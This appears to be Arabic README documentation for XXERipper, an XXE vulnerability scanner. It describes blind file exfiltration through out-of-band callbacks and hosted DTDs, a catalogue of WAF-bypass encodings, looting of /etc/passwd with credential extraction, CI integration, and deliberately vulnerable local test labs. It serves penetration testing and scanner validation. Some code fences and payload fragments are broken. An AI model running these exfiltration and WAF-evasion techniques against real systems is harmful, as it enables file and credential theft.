**الوضع اليدوي لا يستخرج البيانات المسربة.** في الوضع اليدوي، يرسل الماسح حمولات OOB ويعود فوراً — فهو لا يقرأ مخرجات interactsh أبداً. المحتوى المسرب يكون مرئياً في طرفية interactsh الخاصة بك، وليس في مخزن الغنائم الخاص بالماسح. تطبع كل من لافتة CLI ومشغل مهام WebUI تحذيراً عندما يكون استخراج البيانات مهيأً لكن الوضع التلقائي معطل.
### الوضع التلقائي (`--oob-auto`)
يقوم الماسح بتشغيل `interactsh-client` كعملية فرعية، ويقرأ تدفق أحداثه `-json -v`، ويستخرج نطاق الجلسة، ويربط الاستدعاءات داخل العملية. لا حاجة لطرفية ثانية، ولا مطابقة يدوية.```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
تُطبع عمليات الاستدعاء الراجعة إلى stderr في اللحظة التي تصل فيها:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
الارتباط قائم على الرموز (tokens). يولّد الماسح رمزًا فريدًا من 16 خانة سداسية عشرية لكل payload، ويدرجه في النطاق الفرعي (subdomain)، ويسجّل التعيين، ويطابق الاستدعاءات الواردة عبر الرمز. أي استدعاء لا يحتوي نطاقه الفرعي على الرمز المعلّق المحدد للـ payload الذي أنشأ النطاق الفرعي يُهمَل، لذا لا يمكن نسب حركة DNS غير ذات الصلة خطأً، ولا يمكن نسب استدعاء بطيء للتكرار *N* إلى التكرار *N+1*. الاستدعاء المترابط يحمل الوزن الكامل +50 ويسهم بإشارة إلزامية — يمكنه وحده ترقية اكتشاف إلى CRITICAL (مع استيفاء شرط العائلتين بواسطة عائلة OOB بالإضافة إلى سلامة السلسلة أو بصمة).
**الفحوصات الدفعية (Batch scans)** تتشارك عملية `interactsh-client` واحدة طوال عمر التشغيل. يحصل كل هدف على عرض `OOBClient` خاص به مع مجموعة رموز خاصة به، لذا يبقى النسب لكل هدف صحيحًا حتى مع `--threads 20`.
**في وحدة التحكم على الويب**، يؤدي تحديد *وضع OOB التلقائي* إلى إنشاء `interactsh-client` مشترك واحد طوال عمر عملية الخادم، يُنشأ بشكل كسول عند أول مهمة OOB تلقائية ويُعاد استخدامه بعد ذلك. تتشارك المهام المتزامنة المتعددة النطاق لكنها تحتفظ بمجموعات رموز مستقلة.
### التسريب الأعمى (Blind exfiltration)
افتراضيًا، يؤكد اكتشاف OOB حدوث تحليل الكيانات (entity resolution) — وصل الاستدعاء، والرمز يثبت أنه لنا. لكنه لا يستعيد محتوى الملف. لاستعادة المحتوى، يحتاج الماسح إلى تقديم DTD الذي يجعل الهدف يرسل ملفه إلى رابط الاستدعاء.
يُدعم ثلاثة أوضاع لاستضافة DTD:
**خادم DTD المدمج** (`--oob-listen HOST:PORT --oob-public-url URL`): يربط الماسح خادم HTTP الخاص به ويقدّم DTDs عند الطلب. الأفضل لمختبرات الاختبار، وفحوصات نفس المضيف، وأي بيئة يمكن للهدف فيها الوصول إلى عنوان الماسح.
**تقديم DTD عبر الملفات** (`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`): يكتب الماسح ملفات DTD إلى دليل؛ تقدّم أنت ذلك الدليل عبر nginx أو Apache أو `python -m http.server` أو أي شيء آخر. الأفضل للأهداف البعيدة الحقيقية حيث لا يمكن الوصول إلى عنوان الماسح نفسه.
**خادم DTD المستضاف عبر WebUI**: حدّد **Serve DTDs from this WebUI** في درج الفحص الجديد وقدّم بادئة الرابط العام. يسجّل الماسح DTDs على `/dtd/<token>.dtd` على نفس عملية Flask التي تشغّل وحدة التحكم. لا طرفية ثانية، ولا `python -m http.server`، ولا دليل منفصل. يجب على المستخدم ضمان وصول الهدف إلى عنوان الربط الخاص بـ WebUI — اربط باستخدام `--host 0.0.0.0` وقدّم عنوان IP العام أو اسم المضيف.
عندما يكون التسريب نشطًا، تحمل اكتشافات `XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` و`XXE-CDATA-BYPASS-OOB` محتوى الملف المستخرج كغنيمة (loot). تعمل نفس خطوط أنابيب `FileContentExtractor` و`CredentialExtractor` التي تعمل على القراءات داخل النطاق (in-band) على البايتات المسرّبة، لذا ينتج قراءة عمياء لـ `/etc/passwd` نفس استخراج بيانات الاعتماد ومقاطع shell الجاهزة للصق التي ينتجها قراءة داخل النطاق. يظهر المحتوى المسرّب في تبويب **Loot** في WebUI، وفي كتلة `exfiltrated` في تبويب OOB، وفي قسم الغنيمة في تقرير HTML.
**المتطلب المسبق.** يجب أن يكون الهدف قادرًا على الوصول إلى خادم DTD الخاص بك. يسجّل Interactsh الاستدعاءات لكنه لا يقدّم المحتوى، لذا لا يمكنه أن يحل محل نقطة نهاية HTTP حقيقية. هذا متأصل في كيفية عمل التسريب الأعمى عبر XXE، وليس قيدًا في الماسح.
**الوضع اليدوي لا يسرّب.** يتطلب التسريب أن يقرأ الماسح تدفق الاستدعاءات الخاص به، وهو ما يحدث فقط في وضع `--oob-auto`. إذا شغّلت الوضع اليدوي مع `--oob-listen` أو `--oob-dtd-dir`، فسيتم تقديم DTDs، وسيجلبها الهدف، وسيرسل الهدف محتوى الملف إلى interactsh — لكن الماسح لن يستخرجه، لأنه لا يقرأ مخرجات interactsh أبدًا. البيانات المسرّبة مرئية في طرفية interactsh الخاصة بك.
### متى تستخدم أيًّا منهما
- **اليدوي** هو الافتراضي الأكثر أمانًا. لا عملية فرعية، ولا مصافحة تشفيرية، ويعمل مع أي نشر لـ Interactsh بما في ذلك التنسيق المعزول تمامًا حيث يُشغَّل العميل على مضيف مختلف.
- **التلقائي** أسرع للفحوصات الدفعية وCI. أمر واحد، بلا إحالات متقاطعة. يتطلب `interactsh-client` في `PATH`. مطلوب للتسريب.
**الخوادم المستضافة ذاتيًا** تعمل في كلا الوضعين دون أي تغيير من جانب الماسح — وجّه `interactsh-client` إلى خادمك (عبر علمه `-s` / `-server`، أو بتغليف الملف التنفيذي في اسم مستعار shell) وفي الوضع اليدوي، مرّر نطاق الجلسة المطبوع إلى `--oob-domain`.
---
## ترميز تجاوز WAF
يعيد `--bypass-waf` إرسال كتالوج الـ payload بالكامل عبر مُرمِّز واحد أو أكثر *بعد* تشغيل المراحل الأساسية. يختبر هذا ما إذا كان WAF يحجب أشكال الـ payload الكلاسيكية لكنه يسمح بمرور مكافئ محوَّل — لكنه يفعل ذلك دون إخفاء الاكتشافات المباشرة خلف المسح المُرمَّز.
خمسة عشر مُرمِّزًا عبر ثلاث عائلات:
**مُرمِّزات المستند** (تحوّل تدفق البايتات):
| الاسم | التحويل | ملاحظات |
|---|---|---|
| `utf16be` | UTF-16 BE مع BOM | إزاحة تدفق البايتات الكلاسيكية. تفكّ معظم جدران WAF الأجسام كـ UTF-8 وتفوّت القيم الصفرية المتداخلة. |
| `utf16le` | UTF-16 LE مع BOM | نفس المبدأ، بترتيب بايتات معاكس. |
| `utf16decl` | UTF-16 BE مع BOM وإعلان معاد كتابته | يُحدَّث الإعلان إلى `encoding="UTF-16"` حتى تقبله المحلّلات الصارمة. |
| `utf16nobom` | UTF-16 BE بدون BOM، مع إعلان معاد كتابته | تحترم بعض المحلّلات الإعلان وتستنتج ترتيب البايتات؛ تستخدم بعض جدران WAF الـ BOM كإشارة فك ترميز وتتخطى جسمًا يفتقر إليه. |
| `utf32be` | UTF-32 BE مع BOM | أقل دعمًا شيوعًا من قِبل جدران WAF مقارنة بـ UTF-16. |
| `utf32le` | UTF-32 LE مع BOM | نفس الشيء، بترتيب بايتات معاكس. |
| `ebcdic` | EBCDIC CP037 | لا يفكّ أي WAF تقريبًا ترميز EBCDIC قبل الفحص. يكتشفه libxml2 تلقائيًا؛ يرفضه Xerces و.NET بشكل نظيف. |
| `ucs4_2143` | UCS-4 بترتيب بايتات 2,1,4,3 | تبديل Unicode TR#17. نمط البايتات لا يطابق أي توقيع UTF-32 BE/LE، لذا لا تفكّ جدران WAF ترميزه. نفس الترتيب الذي تجاوز XmlScanner في PhpSpreadsheet في CVE-2024-47873. |
| `utf8bom` | UTF-8 مع BOM | هامشي لكنه مجاني. يهزم التعبيرات النمطية المثبّتة عند `^<?xml`. |
**مُرمِّزات تجنّب الكلمات المفتاحية** (تحوّل إعلان الكيان):
| الاسم | التحويل | ملاحظات |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | XML صالح. تفوّته جدران WAF التي تطابق فقط `SYSTEM "file://`. |
| `public_charref` | كلمة `SYSTEM` → مراجع أحرف سداسية عشرية داخل إعلان `PUBLIC` | تُوسَّع مراجع الأحرف داخل `PubidLiteral` لكن ليس داخل `SystemLiteral`. يعيد المحلّل تجميع `SYSTEM` كمعرّف عام؛ فيفوّته WAF الذي يطابق السلسلة الحرفية. |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | مسبار تجاوز، وليس أداة قراءة ملفات — يُحلّ الكيان إلى *سلسلة* URI، وليس إلى محتويات الملف. استخدمه لتأكيد إمكانية هزيمة WAF؛ وادمجه مع مصرف على مستوى التطبيق للاستخراج. |
**مُرمِّزات على مستوى القواعد النحوية** (XML صالح، تهزم جدران WAF الكسولة):
| الاسم | التحويل | ملاحظات |
|---|---|---|
| `whitespace_pad` | إدراج 512 مسافة في إعلان XML | يسمح XML بمسافات بيضاء عشوائية بين السمات الزائفة للإعلان. ترى جدران WAF التي تفحص فقط أول N بايت من الجسم إعلانًا مُبطَّنًا ولا تصل أبدًا إلى DOCTYPE. |
| `doctype_closure` | تعليق خادع بعد `]>` | تحلّل بعض جدران WAF الـ DOCTYPE لتحديد نهايته، ثم تفحص الباقي. إدراج تعليق XML بعد `]>` قد يضلّل ذلك المحلّل إلى خروج مبكر يتخطى إعلانات الكيانات. يتجاهل محلّل XML التعليق. |
| `pe_stager` | إعادة كتابة إعلان الكيان كسلسلة كيانات معاملات (parameter-entity) | ترى جدران WAF `<!ENTITY % stage "…"` و`%stage;` لكنها لا ترى أبدًا URI `SYSTEM "file://…"` في إعلان واحد. يوسّع المحلّل `%stage`، الذي يعلن الكيان الحقيقي. يعمل على أي محلّل يسمح بكيانات معاملات المجموعة الفرعية الداخلية — Xerces و.NET جاهزان؛ libxml2 فقط إذا رُفع قيد PE الداخلي وقت البناء. |
تُتخطى المُرمِّزات التي يكون ناتجها مطابقًا بايتًا ببايت للمدخل على payload معين (لا يُرسَل أي طلب). يُرفع اكتشاف لكل تركيبة (payload × مُرمِّز) ناجية باسم `XXE-WAF-BYPASS-<ENCODER>` (أو `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>` لعائلات OOB)، أو، لعائلات OOB، فقط عند وصول استدعاء مترابط.```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
ترتيب المراحل. تعمل مرحلة تجاوز WAF بعد المراحل الأساسية، وليس قبلها. الهدف الذي يستجيب لحمولة SYSTEM "file://" العادية لا يحتاج إلى إرسال 1,500 نسخة مُرمَّزة إليه أولاً — فالمجسات المباشرة تعثر عليه في حوالي 20 طلبًا، والمسح المُرمَّز هو البديل الاحتياطي عندما يتم حظرها. لا تزال المرحلة تستخدم نفس الكتالوج، ولا تزال تُنتج نفس النتائج، ولا تزال تعمل عند تعيين --bypass-waf؛ كل ما في الأمر أنها لا تخفي الإصابات المباشرة خلف المسح.
حجم الطلبات. كتالوج من حوالي 100 حمولة × 15 مُرمِّزًا يساوي حوالي 1,500 طلب لكل هدف في أسوأ الحالات. ميزانية الوقت الفعلي هي الخانق الوحيد؛ تتحقق المرحلة من الموعد النهائي قبل كل إرسال وتتوقف بشكل نظيف. بالنسبة للأهداف الكبيرة، يُفضَّل استخدام مجموعة فرعية مُسمَّاة من المُرمِّزات بدلاً من --bypass-waf all.
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
يتم اختبار كل ملف مقابل كل هدف ملف. تُنسب النتائج باسم `XXE-CUSTOM-<filename>`. تمر الحمولات المخصصة عبر نفس مساعد OOB المستخدم في المراحل المدمجة، لذا تظهر نطاقاتها الفرعية وتسميات تقنياتها في قائمة التحقق `[OOB]` (الوضع اليدوي) أو تُفعّل عمليات استدعاء مترابطة (الوضع التلقائي).
**ملفات تعريف الارتباط وتكامل Burp:** أولوية ملفات تعريف الارتباط هي المضمّنة > ملف تعريف الارتباط > طلب Burp. يتم دعم صيغتي Netscape-jar و `key=value`. تحافظ طلبات Burp على الطريقة والترويسات من طرف إلى طرف؛ لا يتم تمرير الترويسات من قفزة إلى قفزة والترويسات المُدارة من الماسح `Cookie`/`Content-Type`. يُشتق المخطط من ترويسة `Host`، وسطر إصدار HTTP، وأي ترويسة `X-Forwarded-Proto` / `Forwarded` / `:scheme` يحملها الطلب. 443/8443/9443/10443/6443/7443/4443 → HTTPS؛ 80/8000/8008/8080/8088/8888 → HTTP؛ المنافذ غير المعروفة وطلبات HTTP/2 → HTTPS افتراضيًا. يتم تحليل مضيفي IPv6 بشكل صحيح.
**إعادة التشغيل قبل المصادقة:** يأخذ `--pre-auth-request FILE` طلبًا بصيغة Burp، ويعيد تشغيله مرة واحدة مقابل الهدف قبل التقاط خط الأساس، ويدمج أي ترويسات `Set-Cookie` في الجرة. يؤدي تكرار العلامة إلى إعادة تشغيل طلبات متعددة بالترتيب، لذا يعمل تدفق من خطوتين (جلب رمز CSRF، ثم POST بيانات الاعتماد). تكون ملفات تعريف الارتباط لكل إعادة تشغيل متاحة للطلب التالي في التسلسل.
**تجاوز WAF باستخدام المخصصات:** يوسّع `--bypass-waf-include-custom` نطاق مسح المُرمِّز ليشمل حمولات المستخدم. يتم تخطي المخصصات التي تشير إلى `{CALLBACK}` أو `{DOMAIN}` (لا يمكن ربط حمولة OOB مُرمَّزة عبر عنصر نائب).
---
## صيغ الإخراج
### JSON (المخطط 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
يتم إزالة الحقل الداخلي skipped_phases من JSON المُسلسل — فهو محاسبة لتقرير التغطية الطرفية، وليس نتيجة.
كل معرّف نتيجة يصبح قاعدة SARIF مع helpUri يشير إلى تعريف CWE الأساسي. كل نتيجة تصبح نتيجة يكون فيها artifactLocation.uri هو عنوان URL الهدف. الحقول الإضافية (confidence، cwe، reasons، evidence) تُنقل في result.properties. تعيين الخطورة: CRITICAL/HIGH → error، MEDIUM → warning، LOW/INFO → note.
--report-html PATH يكتب ملف HTML واحدًا مكتفيًا بذاته. لا روابط CDN، ولا صور خارجية، ولا خطوط ويب. يُفتح في أي متصفح، ويُعرض بشكل متطابق دون اتصال، ويُطبع بشكل نظيف.
الأقسام:
تخدم وحدة التحكم على الويب نفس تقرير HTML مباشرةً على /api/jobs/<jid>/report.html (عبر زر View HTML) وتنزّله من /api/jobs/<jid>/report.html.download (عبر زر HTML).
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## الموثوقية والتغطية
| الميزة | السلوك |
|---|---|
| تفاوض HTTP/2 | يُنشئ `build_session` كائن `httpx.Client` مع `http2=True`. تتفاوض مصافحة ALPN على HTTP/2 حيث يدعمه الخادم، وترجع بصمت إلى HTTP/1.1 بخلاف ذلك. لا يوجد إعداد لكل هدف |
| العزل لكل مرحلة | تعمل كل مرحلة داخل `_run_phase`، الذي يلتقط أي استثناء، ويسجل التتبع تحت `--debug`، ويصدر حدث `phase_error`، ويستمر إلى المرحلة التالية |
| تحديد المعدل | يفرض `--rate N` حدًا أدنى للفاصل الزمني قدره `1/N` ثانية بين الطلبات لكل هدف، ويُطبَّق بواسطة نسخة `RateLimiter` المشتركة التي يستشيرها كل مسار إرسال. مستقل عن `--threads` |
| إعادة المحاولة والتراجع | تُعاد المحاولات ثلاث مرات عند حالات الفشل العابرة (`ConnectError`، `RemoteProtocolError`، `ReadError`، `WriteError`، `TimeoutException`) مع تراجع قدره 0.5 ثانية، 0.75 ثانية، 1.125 ثانية |
| احترام Retry-After | يُحترم عند 429 و503، بحد أقصى 10 ثوانٍ |
| حماية الاستجابة الفارغة عند إرسالات OOB | يتخطى الإرسال الفاشل انتظار الاستطلاع بدلًا من تعطيل الفحص |
| ذاكرة التخزين المؤقت للبصمات على القرص | `~/.cache/xxeripper/fingerprints.json`. تتخطى عمليات الفحص المتكررة لنفس URL تسلسل الفحوصات التسعة. احذف الملف أو مرر `--no-fingerprint-cache` لإبطاله |
| ميزانية الوقت الفعلي | `--budget SECONDS` — تتحقق كل مرحلة من `ctx.expired()` قبل كل إرسال وتتوقف بشكل نظيف |
| الإلغاء التعاوني | تُشير استدعاءة `ScanContext.cancel()` إلى كل مرحلة. تعرض وحدة التحكم على الويب ذلك عبر زر **Stop** |
| مفتاح TLS | التحقق معطّل افتراضيًا لاستخدام اختبار الاختراق؛ يعيد `--verify-tls` تفعيله |
| رموز خروج CI | 0 = نظيف، 1 = خطأ في الإعداد، 2 = اكتشاف عند `--fail-on` أو أعلى، 130 = Ctrl-C |
| اكتشافات آمنة للخيوط | `add_finding` محمي بقفل ويدمج المعرّفات المكررة في مكانها — برفع الخطورة، وORing لـ `confirmed`، وأخذ `max(confidence)`، وتوحيد الأسباب والأدلة — بدلًا من إصدار إدخالات مكررة. يُصدر كل دمج وكل اكتشاف جديد حدثًا حتى تتحدث وحدة التحكم على الويب مباشرةً |
| إحصاءات OOB آمنة للخيوط | تُرجع `OOBClient.stats()` لقطة مقفلة حتى يقرأ ملخص CLI عرضًا متسقًا حتى أثناء مرحلة قيد التشغيل |
| غنائم منزوعة التكرار | يعتمد `LootStore.add_file` و`LootStore.add_secret` على SHA-256 للمحتوى. ينتج عن اكتشافين يستعيدان نفس الملف إدخال غنائم واحد |
| تقارير التغطية | قائمة تخطٍ لكل هدف مع أسباب مقروءة؛ ملخص نهاية الفحص للأهداف التي بها عمليات تخطٍ |
| ذاكرة التخزين المؤقت للبصمات في CI | وجّه `HOME` إلى دليل ذاكرة تخزين مؤقت محفوظ لتوفير 9 طلبات لكل تشغيل. حجم الذاكرة التخزين المؤقت حوالي 1 كيلوبايت لكل URL |
محوّل إعادة المحاولة لا يعيد المحاولة عمدًا عند HTTP 500 — فأهداف XXE القائمة على الأخطاء تُرجع 500 عن قصد، وإعادة المحاولة تخفي الإشارة.
---
## تكامل CI/CD
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### تخزين البصمات مؤقتًا في CI```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
حجم الذاكرة المؤقتة حوالي 1 كيلوبايت لكل URL ويبقى مستقرًا بين التشغيلات ما لم يتغير محلل الهدف.
Auto OOB في CI. يتطلب --oob-auto وجود interactsh-client في PATH. على منصات GitHub-hosted runners، قم بتثبيته في خطوة إعداد:```yaml
إذا كانت بيئة CI لديك تحظر استعلامات DNS الصادرة إلى نطاقات فرعية عشوائية، فاستخدم الوضع اليدوي مع خادم Interactsh مستضاف ذاتيًا يمكن لخط أنابيبك الوصول إليه.
**التسريب الأعمى في CI.** لكي ينتج خط أنابيب التسريب إدخالات الغنائم، يجب أن يكون مشغّل CI قابلاً للوصول من الهدف. وهذا يعني عادةً مشغّلًا مستضافًا ذاتيًا على شبكة يمكن للهدف الوصول إليها، أو `--oob-dtd-dir` مقترنًا بدليل يُقدَّم خارجيًا يمكن للهدف جلبه. لن يعمل Interactsh وحده — فهو يسجّل عمليات الاستدعاء لكنه لا يقدّم المحتوى.
---
## الاختبار مقابل المختبرات المضمّنة
يأتي XXERipper مع مختبرين محليين للاختبار يشغّلان **محلّلات حقيقية قابلة للاستغلال** على نفس الإعدادات التي تشحنها تطبيقات الإنتاج. وهي ليست محاكاة — كل واحد منها يكشف تقنية محددة حتى تتمكن من التحقق من أن الماسح يكتشفها بشكل صحيح، وكل واحد يتضمن نقاط نهاية طُعم للإيجابيات الكاذبة حتى تتمكن من التحقق من أنه *لا* يفرط في الإبلاغ.
كلا المختبرين يرتبطان بـ `127.0.0.1` ويقرآن الملفات المحلية عند الطلب بحكم التصميم. **لا تعرّضهما أبدًا لشبكة لا تملكها.**
### جرد المختبرات
| المختبر | الملف | الحزمة التقنية | المنفذ | ما يثبته |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2، httpx (HTTP/1.1 أو HTTP/2 عبر ALPN) لجميع عمليات جلب الكيانات الصادرة | `127.0.0.1:5000` | 54 نقطة نهاية عبر عشر عائلات تقنية، بالإضافة إلى نظائر آمنة لكل تقنية مشمولة وواجهة برمجية للأحكام للتقييم الآلي. يقدّم HTTP افتراضيًا؛ TLS عبر `--https` / `--autocert` |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | XXE القائم على الأخطاء، والذي تحجبه libxml2 الحديثة على مستوى C |
### مختبر Python — `xxe_lab.py`
ثبّت تبعيات المختبر (معزولة عن متطلبات الماسح نفسه):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
يقوم المختبر بسحب httpx[http2] لنفس السبب الذي يقوم به الماسح الضوئي — حيث تتفاوض عمليات جلب الكيانات الصادرة على HTTP/2 عبر ALPN عندما يتحدث مجمّع OOB أو نقطة نهاية البيانات الوصفية به، وترجع بصمت إلى HTTP/1.1 بخلاف ذلك. أما Flask الوارد فهو HTTP/1.1 بغض النظر.```bash
make lab
python3 xxe_lab.py
يوفّر المختبر **54 نقطة نهاية** موزّعة على ثلاث فئات من الأحكام: 36 `vuln`، و17 `safe`، و1 طُعم `fn`.
### TLS
يتحدث المختبر HTTP افتراضيًا. ثلاثة أعلام تُفعّل TLS:
| العلم | السلوك |
|---|---|
| `--https` | الخدمة عبر TLS. يعيد استخدام شهادة موقّعة ذاتيًا مخزّنة مؤقتًا إن وُجدت تحت `$TMPDIR/xxe-lab-certs/`، وإلا يولّد واحدة باستخدام `openssl`. إعادة استخدام الشهادة المخزّنة مؤقتًا عبر عمليات إعادة التشغيل تُبقي أي بصمة TLS على جانب الماسح ثابتة. |
| `--autocert` | الخدمة عبر TLS بشهادة موقّعة ذاتيًا **مولّدة حديثًا**. يشغّل `openssl` دائمًا ويستبدل الشهادة المخزّنة مؤقتًا. يستلزم `--https`. متعارض مع `--cert` / `--key`. |
| `--cert PATH` / `--key PATH` | الخدمة عبر TLS بزوج PEM مُقدَّم. يجب إعطاؤهما معًا. |
يتجاوز `--host` و`--port` عنوان الربط (الافتراضي `127.0.0.1:5000`)؛ ويُحترم متغيّرا البيئة `FLASK_HOST` و`FLASK_PORT` كقيم افتراضية.```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
الشهادة المُنشأة هي RSA-2048، صالحة لمدة 365 يومًا، CN=127.0.0.1، subjectAltName=IP:127.0.0.1,DNS:localhost — بدون عبارة مرور. تتطلب openssl على PATH (OpenSSL 1.1.1+ من أجل -addext). إذا كنت بحاجة إلى شهادة بدون تلك القيود، مرّر --cert / --key بدلاً من ذلك.
يحتوي المختبر على وضعي استجابة، قابلين للتبديل لكل طلب:
realistic (الافتراضي) — يحاكي تطبيقًا حقيقيًا. نوع محتوى خاطئ يُرجع 415، وشكل خاطئ يمر إلى المحلل (بوابة مرنة) أو يُرجع 400 عامًا (بوابة صارمة). لا تسريب للسبب. على الماسح التمييز بين "رفض الهدف الحمولة الخاصة بي" و"قبل الهدف لكن لم يُحلّ" باستخدام شكل الاستجابة وحده.
scoped — الوضع القديم الحتمي. كل جسم خارج النطاق يُرجع 200 out of scope: <reason> ثابتًا لا يحلل شيئًا. اختياري لمجموعات الانحدار حيث يجب أن تكون حالات النقض الإيجابية الكاذبة عبر التقنيات دقيقة.
تجاوز لكل طلب باستخدام ترويسة أو معامل استعلام:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
الأسبقية هي header > query param > env default (`XXE_LAB_MODE`).
### مجموعات نقاط النهاية
**غير محدودة النطاق وقابلة للاستغلال** — تقبل أي XML، وتُحلّل دائمًا بالمُحلّل القابل للاستغلال:
| نقطة النهاية | ما تختبره |
|---|---|
| `POST /xml/vulnerable` | قراءة الملفات داخل النطاق، مصفوفة content-type، سلامة السلسلة |
| `POST /xml/blind` | مُحلّل صامت — يحلّ الكيانات، ولا يعكس أبدًا (OOB فقط) |
| `POST /xml/error` | قناة الأخطاء — تُرجع تتبعات المُحلّل |
| `POST /xml/reflect` | يعكس الجسم الخام ويُحلّل — يختبر حق النقض على الانعكاس |
| `POST /xml/timing` | ينام عندما تحتوي الحمولة على كيان SYSTEM خارجي — استغلال أعمى قائم على التوقيت |
**داخل النطاق ونواقل التسليم**، و**المغلّفات**، و**الترميزات**، و**التضمين**، و**الجالبات الموسّعة**، و**صيغ الملفات**، و**كيانات المعاملات والبيانات الوصفية**، و**Blind OOB** — قائمة نقاط النهاية الكاملة متاحة على <http://127.0.0.1:5000/api/endpoints> أو في واجهة المختبر نفسها على <http://127.0.0.1:5000/>.
### النظائر الآمنة
لكل نقطة نهاية قابلة للاستغلال ومحدودة النطاق نظير آمن يُجري **فحص النطاق نفسه** لكنه يُحلّل مع تعطيل الكيانات وحجب الوصول إلى الشبكة. التسمية آلية: `/xml/safe-form` يقابل `/xml/form`، و`/xml/safe-xslt` يقابل `/xml/xslt`، وهكذا.
وُجد هذا التصميم لكي يمكن اختبار حق النقض على الإيجابيات الكاذبة عبر التقنيات في الماسح من البداية إلى النهاية. خذ مرحلة الترميز النموذجي (form-encoded): يرسل الماسح XML بترميز نموذجي إلى كل هدف يفحصه. مقابل `/xml/form` يُنتج ذلك اكتشافًا إذا حُلّت الحمولة. ومقابل `/xml/safe-form` ينبغي ألا تُنتج الحمولة نفسها شيئًا. قبل وجود النظائر الآمنة، لم يكن لهدف مثل `/xml/safe` أي فحص لنطاق حقول النموذج على الإطلاق، فكانت الحمولة ذات الترميز النموذجي تُقبل وتُحلّل بواسطة نقطة نهاية "آمنة" — وهي إيجابية كاذبة لم تكن خطأ الماسح لكنها أيضًا لم تكن قابلة للتمييز عن إيجابية كاذبة.
تسدّ النظائر الآمنة تلك الثغرة. وهناك 13 منها:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
بالإضافة إلى الطعوم الأربعة الأساسية التي لا تخضع لفحوصات النطاق على الإطلاق:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
وواحد طُعم سلبي كاذب:```
/xml/silent
يقوم الماسح الصحيح بالإبلاغ عن [OK] على جميع السبعة عشر. أي اكتشاف عليها هو خطأ في الماسح، وليس اكتشافاً.
يكشف المختبر عن GET /api/verdicts، وهي خريطة JSON من "<method> <path>" إلى واحدة من "vuln" أو "safe" أو "fn":```json
{
"POST /xml/vulnerable": "vuln",
